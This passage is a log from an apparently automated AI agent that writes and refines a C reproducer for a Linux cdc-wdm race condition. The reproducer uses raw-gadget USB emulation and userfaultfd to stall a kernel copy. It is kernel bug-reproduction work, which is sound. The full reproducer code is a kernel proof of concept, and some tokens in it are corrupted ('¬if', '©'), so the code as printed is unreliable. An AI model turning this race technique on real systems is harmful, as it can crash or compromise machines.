However, I then remembered that `_IOW` *does* indicate expecting a pointer, yet the kernel driver for this specific ioctl appears to disregard this convention and uses the `value` directly. This is a critical distinction.
To confirm my hypothesis, I mentally reviewed how a tool like syzkaller would likely interact with this. I don't have the exact syzkaller code for `syz_usb_ep_set_halt` in front of me, but I can infer its likely behavior. I suspect it would look something like this:
```c
ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, (unsigned long)ep_in);
```
This confirms my corrected understanding: it's necessary to cast the endpoint identifier, `ep_in`, to an `unsigned long` and pass it directly as the third argument to `ioctl`. This `ep_in` value itself is likely obtained from a prior call, specifically the return value of `USB_RAW_IOCTL_EP_ENABLE`. I'll need to double-check the `raw_ioctl_ep_enable` implementation to be absolutely certain about how that identifier is derived, but the path for setting the halt seems clear now.
|
| 212/5 |
2026/09/11 22:49 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/gadget/legacy/raw_gadget.c Name:raw_ioctl_ep_enable]
Results: map[SourceCode: 840: static int raw_ioctl_ep_enable(struct raw_dev *dev, unsigned long value)
841: {
842: int ret = 0, i;
843: unsigned long flags;
844: struct usb_endpoint_descriptor *desc;
845: struct raw_ep *ep;
846: bool ep_props_matched = false;
847:
848: desc = memdup_user((void __user *)value, sizeof(*desc));
849: if (IS_ERR(desc))
850: return PTR_ERR(desc);
851:
852: /*
853: * Endpoints with a maxpacket length of 0 can cause crashes in UDC
854: * drivers.
855: */
856: if (usb_endpoint_maxp(desc) == 0) {
857: dev_dbg(dev->dev, "fail, bad endpoint maxpacket\n");
858: kfree(desc);
859: return -EINVAL;
860: }
861:
862: spin_lock_irqsave(&dev->lock, flags);
863: if (dev->state != STATE_DEV_RUNNING) {
864: dev_dbg(dev->dev, "fail, device is not running\n");
865: ret = -EINVAL;
866: goto out_free;
867: }
868: if (!dev->gadget) {
869: dev_dbg(dev->dev, "fail, gadget is not bound\n");
870: ret = -EBUSY;
871: goto out_free;
872: }
873:
874: for (i = 0; i < dev->eps_num; i++) {
875: ep = &dev->eps[i];
876: if (ep->addr != usb_endpoint_num(desc) &&
877: ep->addr != USB_RAW_EP_ADDR_ANY)
878: continue;
879: if (!usb_gadget_ep_match_desc(dev->gadget, ep->ep, desc, NULL))
880: continue;
881: ep_props_matched = true;
882: if (ep->state != STATE_EP_DISABLED)
883: continue;
884: ep->ep->desc = desc;
885: ret = usb_ep_enable(ep->ep);
886: if (ret < 0) {
887: dev_err(&dev->gadget->dev,
888: "fail, usb_ep_enable returned %d\n", ret);
889: goto out_free;
890: }
891: ep->req = usb_ep_alloc_request(ep->ep, GFP_ATOMIC);
892: if (!ep->req) {
893: dev_err(&dev->gadget->dev,
894: "fail, usb_ep_alloc_request failed\n");
895: usb_ep_disable(ep->ep);
896: ret = -ENOMEM;
897: goto out_free;
898: }
899: ep->state = STATE_EP_ENABLED;
900: ep->ep->driver_data = ep;
901: ret = i;
902: goto out_unlock;
903: }
904:
905: if (!ep_props_matched) {
906: dev_dbg(&dev->gadget->dev, "fail, bad endpoint descriptor\n");
907: ret = -EINVAL;
908: } else {
909: dev_dbg(&dev->gadget->dev, "fail, no endpoints available\n");
910: ret = -EBUSY;
911: }
912:
913: out_free:
914: kfree(desc);
915: out_unlock:
916: spin_unlock_irqrestore(&dev->lock, flags);
917: return ret;
918: }
SourceFile:drivers/usb/gadget/legacy/raw_gadget.c]
|
| 213/5 |
2026/09/11 22:49 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 48025
output: 4068
thoughts: 5019
Thoughts: **My Thought Process: Validating USB Raw Gadget IOCTLs and Reproducing a Race Condition**
It seems I've been deeply engrossed in the intricacies of the USB raw gadget driver and how it interacts with userspace, particularly in a scenario involving userfaultfd to trigger a specific race condition. My primary goal has been to meticulously verify that each `ioctl` call within my reproducer is correctly formed and that the overall synchronization logic is sound.
Let's break down my thought process step-by-step, going through each `ioctl` and the surrounding logic:
First, I addressed the `USB_RAW_IOCTL_EP_SET_HALT` operation. I recalled that `raw_ioctl_ep_enable` provides the endpoint index, let's call it `i`. The `raw_ioctl_ep_set_clear_halt_wedge` function, which is what I was implicitly testing here, requires the endpoint index as its `value` argument. Now, the critical point is how `ioctl` itself handles arguments. In C, the third argument to `ioctl` is typically `unsigned long` or `void *`. When I pass `ep_in`, which is an `int`, it gets promoted to `unsigned long`. This means it's passed *by value*. Therefore, `ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, ep_in)` is absolutely correct because `ep_in` (the endpoint index) is being passed by value as expected by the underlying driver function. This initial confirmation was crucial.
Next, I turned my attention to `USB_RAW_IOCTL_EP_WRITE`. I specifically checked its definition: `#define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)`. The `_IOW` macro indicates that this `ioctl` expects a *pointer* to `struct usb_raw_ep_io` to be written to the kernel. Looking at the `raw_ioctl_ep_write` implementation within the driver, it explicitly dereferences the `value` argument: `data = raw_alloc_io_data(&io, (void __user *)value, true);`. This confirms it's expecting a pointer. In my reproducer, I correctly use `ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1)`, passing the address of `io_ep1`, which is indeed a pointer. So, this also checks out.
Then, I moved on to simpler, no-argument `ioctl` calls. For `USB_RAW_IOCTL_EP0_STALL`, the definition is `#define USB_RAW_IOCTL_EP0_STALL _IO('U', 12)`. The `_IO` macro signifies no data transfer. My reproducer uses `ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0)`, passing a null pointer for the data argument, which is correct for this type of `ioctl`.
Similarly, for `USB_RAW_IOCTL_CONFIGURE`, the definition is `#define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)`. Again, this is a no-data `ioctl`. My code uses `ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0)`, which is the correct way to invoke it.
Now, for `USB_RAW_IOCTL_EP_ENABLE`: `#define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)`. This `_IOW` macro indicates it expects a pointer to `struct usb_endpoint_descriptor` to be written into the kernel. My reproducer has `ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);`. Here, I'm passing the address of `conf_desc.ep_in`, which is exactly what's needed. The return value of this `ioctl` is the endpoint index, which I correctly capture in `ep_in`. This is also correct.
Having reviewed each individual `ioctl` call and confirmed their validity based on the `raw-gadget` definitions and typical `ioctl` semantics, I felt confident in their correctness. This led me to re-examine the potential bug I suspected earlier. My conclusion was that the original reproducer *did* have a bug, but it wasn't in the `ioctl` calls themselves for `USB_REQ_SET_CONFIGURATION`. Instead, I realized I had mistakenly used `USB_RAW_IOCTL_EP0_WRITE` when `USB_RAW_IOCTL_EP0_READ` was the appropriate choice for handling the OUT data associated with that request. This was a key insight into correcting the reproducer's flow.
Then, the question of the blocking `wdm_read` arose. I looked at the relevant code:
```c
void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
int uffd = setup_uffd(addr, 4096);
read(fd_wdm, addr, 10);
```
My reasoning here was that the `read` call on `fd_wdm` would naturally block. The `addr` is backed by a userfaultfd, and the `read` operation attempts to write to this memory. As soon as the kernel tries to copy data from the `fd_wdm` buffer into `addr`, it will trigger a page fault because `addr` isn't populated yet. This page fault is handled by the `uffd_thread`. The `uffd_thread` is designed to set the `read_blocked` event, signaling that the `read` call has indeed encountered the page fault. It then waits for `resolve_uffd`. Meanwhile, the `ep1_thread` is also waiting for `read_blocked`. This synchronization seemed perfectly aligned.
Continuing the flow, I considered the `wdm_read`'s internal `copy_to_user` call: `if (copy_to_user(buffer, desc->ubuf, copy_length)) rv = -EFAULT;`. Here, `buffer` is `addr`. This operation is precisely what triggers the page fault on `addr`, as I reasoned above. The `uffd_thread` correctly handles this by setting `read_blocked` and then waiting for `resolve_uffd`. The `ep1_thread`, upon receiving the `read_blocked` signal, proceeds to stall EP1. This stall on EP1 is intended to generate an `-EPIPE` error for the host's interrupt URB, which in turn should trigger the `wdm_int_callback` and subsequently `wdm_rxwork`. After this, `ep1_thread` sets `resolve_uffd`, allowing the `read` to complete by copying data into `addr` via the `UFFDIO_COPY` ioctl. This whole sequence seemed to correctly set up the race condition for the subsequent `service_outstanding_interrupt` call.
Finally, I performed a comprehensive review of the entire reproducer code. My checks confirmed that each `ioctl` call was correctly formatted and the synchronization primitives (`event_t`) were used in a manner that should orchestrate the intended sequence of events: the gadget setting up, the EP1 thread sending notifications, the `wdm_read` blocking on a page fault, the EP1 thread stalling EP1 to trigger a kernel-side work item, and finally, the userfaultfd being resolved to allow the `read` to complete and then potentially hit the warning during `service_outstanding_interrupt`. The logic seemed robust and the reproducer complete.
|
| 214/3 |
2026/09/11 22:50 |
action |
merge-strategy |
0m
Results: map[CurrentReproStrategy:An analysis of the failure reveals that the `raw-gadget` driver rejected the `USB_RAW_IOCTL_EVENT_FETCH` ioctl with `-EINVAL` because the device state transitioned to `STATE_DEV_FAILED`. This happened because the gadget thread incorrectly handled the `USB_REQ_SET_CONFIGURATION` Control request.
`USB_REQ_SET_CONFIGURATION` is an OUT request (or zero-length request), which means the host expects to send data to the device (or just complete the status stage). In the `raw-gadget` driver, this sets `ep0_out_pending = true`. However, the previous reproducer called `USB_RAW_IOCTL_EP0_WRITE` (which implies an IN transfer) to respond to it. This mismatch triggered a `WARN_ON` in `raw_process_ep0_io()` and forced the device into a failed state, aborting the enumeration.
To fix this, we must use `USB_RAW_IOCTL_EP0_READ` for `USB_REQ_SET_CONFIGURATION` and any other OUT requests.
Here is the corrected C reproducer:
```c
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
#include "race_toolkit.h"
#define UDC_NAME_LENGTH_MAX 128
struct usb_raw_init {
__u8 driver_name[UDC_NAME_LENGTH_MAX];
__u8 device_name[UDC_NAME_LENGTH_MAX];
__u8 speed;
};
enum usb_raw_event_type {
USB_RAW_EVENT_INVALID = 0,
USB_RAW_EVENT_CONNECT = 1,
USB_RAW_EVENT_CONTROL = 2,
};
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[64];
};
struct usb_raw_ep_io {
__u16 ep;
__u16 flags;
__u32 length;
__u8 data[256];
};
#define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN _IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP0_READ _IOWR('U', 4, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)
#define USB_RAW_IOCTL_EP0_STALL _IO('U', 12)
#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
struct usb_cdc_notification {
__u8 bmRequestType;
__u8 bNotificationType;
__le16 wValue;
__le16 wIndex;
__le16 wLength;
} __attribute__ ((packed));
struct usb_device_descriptor dev_desc = {
.bLength = sizeof(dev_desc),
.bDescriptorType = USB_DT_DEVICE,
.bcdUSB = htole16(0x0200),
.bDeviceClass = 2,
.bDeviceSubClass = 0,
.bDeviceProtocol = 0,
.bMaxPacketSize0 = 64,
.idVendor = htole16(0x0525),
.idProduct = htole16(0xa4a7),
.bcdDevice = htole16(0x0100),
.iManufacturer = 0,
.iProduct = 0,
.iSerialNumber = 0,
.bNumConfigurations = 1,
};
struct usb_cdc_header_desc {
__u8 bLength;
__u8 bDescriptorType;
__u8 bDescriptorSubType;
__le16 bcdCDC;
} __attribute__((packed));
struct {
struct usb_config_descriptor conf;
struct usb_interface_descriptor intf;
struct usb_cdc_header_desc cdc_hdr;
struct usb_endpoint_descriptor ep_in;
} __attribute__((packed)) conf_desc = {
.conf = {
.bLength = sizeof(conf_desc.conf),
.bDescriptorType = USB_DT_CONFIG,
.wTotalLength = htole16(sizeof(conf_desc)),
.bNumInterfaces = 1,
.bConfigurationValue = 1,
.iConfiguration = 0,
.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER,
.bMaxPower = 50,
},
.intf = {
.bLength = sizeof(conf_desc.intf),
.bDescriptorType = USB_DT_INTERFACE,
.bInterfaceNumber = 0,
.bAlternateSetting = 0,
.bNumEndpoints = 1,
.bInterfaceClass = 2, // USB_CLASS_COMM
.bInterfaceSubClass = 9, // USB_CDC_SUBCLASS_DMM
.bInterfaceProtocol = 0,
.iInterface = 0,
},
.cdc_hdr = {
.bLength = sizeof(conf_desc.cdc_hdr),
.bDescriptorType = 0x24, // USB_DT_CS_INTERFACE
.bDescriptorSubType = 0x00, // USB_CDC_HEADER_TYPE
.bcdCDC = htole16(0x0110),
},
.ep_in = {
.bLength = sizeof(conf_desc.ep_in),
.bDescriptorType = USB_DT_ENDPOINT,
.bEndpointAddress = 0x81, // EP1 IN
.bmAttributes = USB_ENDPOINT_XFER_INT,
.wMaxPacketSize = htole16(64),
.bInterval = 1,
},
};
int fd_raw;
int ep_in = -1;
event_t gadget_ready;
event_t read_blocked;
event_t resolve_uffd;
void setup_gadget() {
fd_raw = open("/dev/raw-gadget", O_RDWR);
if (fd_raw < 0) {
perror("open /dev/raw-gadget");
exit(1);
}
struct usb_raw_init init = {
.driver_name = "dummy_udc",
.device_name = "dummy_udc.0",
.speed = USB_SPEED_HIGH,
};
if (ioctl(fd_raw, USB_RAW_IOCTL_INIT, &init) < 0) {
perror("USB_RAW_IOCTL_INIT");
exit(1);
}
if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0) < 0) {
perror("USB_RAW_IOCTL_RUN");
exit(1);
}
}
void *gadget_thread(void *arg) {
setup_gadget();
while (1) {
struct usb_raw_event event;
event.type = 0;
event.length = sizeof(event.data);
if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0) {
if (errno == EINTR) continue;
perror("USB_RAW_IOCTL_EVENT_FETCH");
break;
}
if (event.type == USB_RAW_EVENT_CONTROL) {
struct usb_ctrlrequest *req = (struct usb_ctrlrequest *)event.data;
struct usb_raw_ep_io io;
io.ep = 0;
io.flags = 0;
io.length = 0;
if (req->bRequestType & USB_DIR_IN) {
if (req->bRequest == USB_REQ_GET_DESCRIPTOR) {
if (req->wValue == (USB_DT_DEVICE << 8)) {
io.length = sizeof(dev_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &dev_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else if (req->wValue == (USB_DT_CONFIG << 8)) {
io.length = sizeof(conf_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &conf_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
static int resp_count = 0;
if (resp_count == 0) {
io.length = 10;
memset(io.data, 'A', 10);
if (io.length > req->wLength) io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
resp_count++;
} else {
// Do nothing, let the host's URB hang active indefinitely
}
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
} else {
// OUT request or zero-length
if (req->bRequest == USB_REQ_SET_CONFIGURATION) {
io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0);
ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);
if (ep_in >= 0) {
event_set(&gadget_ready);
}
} else {
io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
}
}
}
}
return NULL;
}
void *ep1_thread(void *arg) {
event_wait(&gadget_ready);
usleep(200000); // Wait for host to fully enumerate and submit int urb
struct usb_cdc_notification notif = {
.bmRequestType = 0xA1,
.bNotificationType = 0x01, // USB_CDC_NOTIFY_RESPONSE_AVAILABLE
.wValue = 0,
.wIndex = 0,
.wLength = 0,
};
struct usb_raw_ep_io io_ep1;
io_ep1.ep = ep_in;
io_ep1.flags = 0;
io_ep1.length = sizeof(notif);
memcpy(io_ep1.data, ¬if, sizeof(notif));
// Send first notification
ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1);
// Send second notification (increments resp_count to 2)
ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1);
// Wait for read() to block in copy_to_user
event_wait(&read_blocked);
// Send STALL on EP1 IN to trigger wdm_rxwork
ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, ep_in);
// Wait for wdm_rxwork to start and submit the URB
usleep(100000);
// Resolve userfaultfd, allowing read() to finish and call service_outstanding_interrupt
event_set(&resolve_uffd);
return NULL;
}
void *uffd_thread(void *arg) {
int uffd = (int)(long)arg;
struct uffd_msg msg;
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
perror("read uffd");
exit(1);
}
if (msg.event == UFFD_EVENT_PAGEFAULT) {
event_set(&read_blocked);
event_wait(&resolve_uffd);
struct uffdio_copy copy;
char page[4096];
memset(page, 0, sizeof(page));
copy.src = (uintptr_t)page;
copy.dst = msg.arg.pagefault.address & ~(4095);
copy.len = 4096;
copy.mode = 0;
copy.copy = 0;
ioctl(uffd, UFFDIO_COPY, ©);
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
event_init(&gadget_ready);
event_init(&read_blocked);
event_init(&resolve_uffd);
pthread_t tid_gadget, tid_ep1, tid_uffd;
pthread_create(&tid_gadget, NULL, gadget_thread, NULL);
pthread_create(&tid_ep1, NULL, ep1_thread, NULL);
event_wait(&gadget_ready);
usleep(500000); // Wait for /dev/cdc-wdm0 to appear
char dev_path[64] = "/dev/cdc-wdm0";
int fd_wdm = -1;
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) break;
}
if (fd_wdm < 0) {
sleep(1);
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) break;
}
if (fd_wdm < 0) {
fprintf(stderr, "Failed to open cdc-wdm device\n");
exit(1);
}
}
void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED) {
perror("mmap");
exit(1);
}
int uffd = setup_uffd(addr, 4096);
if (uffd < 0) {
fprintf(stderr, "Failed to setup uffd\n");
exit(1);
}
pthread_create(&tid_uffd, NULL, uffd_thread, (void *)(long)uffd);
// This will block until data is available, then hit the userfaultfd
read(fd_wdm, addr, 10);
sleep(1);
return 0;
}
```]
|
| 215/3 |
2026/09/11 22:50 |
agent |
repro-generator |
9m
Model:
Results: map[IsProbe:false RawCandidateReproC:// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
#include "race_toolkit.h"
#define UDC_NAME_LENGTH_MAX 128
struct usb_raw_init {
__u8 driver_name[UDC_NAME_LENGTH_MAX];
__u8 device_name[UDC_NAME_LENGTH_MAX];
__u8 speed;
};
enum usb_raw_event_type {
USB_RAW_EVENT_INVALID = 0,
USB_RAW_EVENT_CONNECT = 1,
USB_RAW_EVENT_CONTROL = 2,
};
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[64];
};
struct usb_raw_ep_io {
__u16 ep;
__u16 flags;
__u32 length;
__u8 data[256];
};
#define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN _IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP0_READ _IOWR('U', 4, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)
#define USB_RAW_IOCTL_EP0_STALL _IO('U', 12)
#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
struct usb_cdc_notification {
__u8 bmRequestType;
__u8 bNotificationType;
__le16 wValue;
__le16 wIndex;
__le16 wLength;
} __attribute__ ((packed));
struct usb_device_descriptor dev_desc = {
.bLength = sizeof(dev_desc),
.bDescriptorType = USB_DT_DEVICE,
.bcdUSB = htole16(0x0200),
.bDeviceClass = 2,
.bDeviceSubClass = 0,
.bDeviceProtocol = 0,
.bMaxPacketSize0 = 64,
.idVendor = htole16(0x0525),
.idProduct = htole16(0xa4a7),
.bcdDevice = htole16(0x0100),
.iManufacturer = 0,
.iProduct = 0,
.iSerialNumber = 0,
.bNumConfigurations = 1,
};
struct usb_cdc_header_desc {
__u8 bLength;
__u8 bDescriptorType;
__u8 bDescriptorSubType;
__le16 bcdCDC;
} __attribute__((packed));
struct {
struct usb_config_descriptor conf;
struct usb_interface_descriptor intf;
struct usb_cdc_header_desc cdc_hdr;
struct usb_endpoint_descriptor ep_in;
} __attribute__((packed)) conf_desc = {
.conf = {
.bLength = sizeof(conf_desc.conf),
.bDescriptorType = USB_DT_CONFIG,
.wTotalLength = htole16(sizeof(conf_desc)),
.bNumInterfaces = 1,
.bConfigurationValue = 1,
.iConfiguration = 0,
.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER,
.bMaxPower = 50,
},
.intf = {
.bLength = sizeof(conf_desc.intf),
.bDescriptorType = USB_DT_INTERFACE,
.bInterfaceNumber = 0,
.bAlternateSetting = 0,
.bNumEndpoints = 1,
.bInterfaceClass = 2, // USB_CLASS_COMM
.bInterfaceSubClass = 9, // USB_CDC_SUBCLASS_DMM
.bInterfaceProtocol = 0,
.iInterface = 0,
},
.cdc_hdr = {
.bLength = sizeof(conf_desc.cdc_hdr),
.bDescriptorType = 0x24, // USB_DT_CS_INTERFACE
.bDescriptorSubType = 0x00, // USB_CDC_HEADER_TYPE
.bcdCDC = htole16(0x0110),
},
.ep_in = {
.bLength = sizeof(conf_desc.ep_in),
.bDescriptorType = USB_DT_ENDPOINT,
.bEndpointAddress = 0x81, // EP1 IN
.bmAttributes = USB_ENDPOINT_XFER_INT,
.wMaxPacketSize = htole16(64),
.bInterval = 1,
},
};
int fd_raw;
int ep_in = -1;
event_t gadget_ready;
event_t read_blocked;
event_t resolve_uffd;
event_t notif2_sent;
void setup_gadget() {
fd_raw = open("/dev/raw-gadget", O_RDWR);
if (fd_raw < 0) {
perror("open /dev/raw-gadget");
exit(1);
}
struct usb_raw_init init = {
.driver_name = "dummy_udc",
.device_name = "dummy_udc.0",
.speed = USB_SPEED_HIGH,
};
if (ioctl(fd_raw, USB_RAW_IOCTL_INIT, &init) < 0) {
perror("USB_RAW_IOCTL_INIT");
exit(1);
}
if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0) < 0) {
perror("USB_RAW_IOCTL_RUN");
exit(1);
}
}
void *gadget_thread(void *arg) {
setup_gadget();
printf("[+] Gadget initialized and running.\n");
while (1) {
struct usb_raw_event event;
event.type = 0;
event.length = sizeof(event.data);
if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0)
continue;
if (event.type == USB_RAW_EVENT_CONTROL) {
struct usb_ctrlrequest *req = (struct usb_ctrlrequest *)event.data;
struct usb_raw_ep_io io;
io.ep = 0;
io.flags = 0;
io.length = 0;
if (req->bRequestType & USB_DIR_IN) {
if (req->bRequest == USB_REQ_GET_DESCRIPTOR) {
if (req->wValue == (USB_DT_DEVICE << 8)) {
io.length = sizeof(dev_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &dev_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else if (req->wValue == (USB_DT_CONFIG << 8)) {
io.length = sizeof(conf_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &conf_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
static int resp_count = 0;
if (resp_count == 0) {
printf("[+] Received first Control Read (0xA1 0x01), waiting for Notif 2...\n");
event_wait(¬if2_sent);
usleep(100000); // Give host time to process Notif 2
printf("[+] Responding to first Control Read.\n");
io.length = 10;
memset(io.data, 'A', 10);
if (io.length > req->wLength) io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
resp_count++;
} else {
printf("[+] Received subsequent Control Read (0xA1 0x01), ignoring to hang URB.\n");
// Do nothing, let the host's URB hang active indefinitely
}
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
} else {
// OUT request or zero-length
if (req->bRequest == USB_REQ_SET_CONFIGURATION) {
io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0);
ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);
if (ep_in >= 0) {
printf("[+] Endpoint EP1 IN enabled (index %d).\n", ep_in);
if (!__atomic_load_n(&gadget_ready.state, __ATOMIC_ACQUIRE))
event_set(&gadget_ready);
} else {
printf("[-] Failed to enable EP1 IN\n");
}
} else {
io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
}
}
}
}
return NULL;
}
void *ep1_thread(void *arg) {
event_wait(&gadget_ready);
usleep(200000); // Wait for host to fully enumerate and submit int urb
struct usb_cdc_notification notif = {
.bmRequestType = 0xA1,
.bNotificationType = 0x01, // USB_CDC_NOTIFY_RESPONSE_AVAILABLE
.wValue = 0,
.wIndex = 0,
.wLength = 0,
};
struct usb_raw_ep_io io_ep1;
io_ep1.ep = ep_in;
io_ep1.flags = 0;
io_ep1.length = sizeof(notif);
memcpy(io_ep1.data, ¬if, sizeof(notif));
printf("[+] Sending first notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 1");
}
printf("[+] Sending second notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 2");
}
printf("[+] Second notification sent.\n");
event_set(¬if2_sent);
printf("[+] Waiting for read() to block in userfaultfd...\n");
event_wait(&read_blocked);
printf("[+] Sending STALL on EP1 to trigger wdm_rxwork...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, ep_in) < 0) {
perror("USB_RAW_IOCTL_EP_SET_HALT");
}
// Wait for wdm_rxwork to start and submit the URB
usleep(200000);
printf("[+] Resolving userfaultfd to finish read()...\n");
event_set(&resolve_uffd);
return NULL;
}
void *uffd_thread(void *arg) {
int uffd = (int)(long)arg;
struct uffd_msg msg;
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
perror("read uffd");
exit(1);
}
if (msg.event == UFFD_EVENT_PAGEFAULT) {
printf("[+] Page fault detected in read() buffer.\n");
event_set(&read_blocked);
event_wait(&resolve_uffd);
struct uffdio_copy copy;
char page[4096];
memset(page, 0, sizeof(page));
copy.src = (uintptr_t)page;
copy.dst = msg.arg.pagefault.address & ~(4095);
copy.len = 4096;
copy.mode = 0;
copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, ©) < 0) {
perror("UFFDIO_COPY");
}
printf("[+] Page fault resolved.\n");
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
event_init(&gadget_ready);
event_init(&read_blocked);
event_init(&resolve_uffd);
event_init(¬if2_sent);
pthread_t tid_gadget, tid_ep1, tid_uffd;
pthread_create(&tid_gadget, NULL, gadget_thread, NULL);
pthread_create(&tid_ep1, NULL, ep1_thread, NULL);
event_wait(&gadget_ready);
printf("[+] Waiting for /dev/cdc-wdmX to appear...\n");
usleep(500000);
char dev_path[64] = "/dev/cdc-wdm0";
int fd_wdm = -1;
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
sleep(1);
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
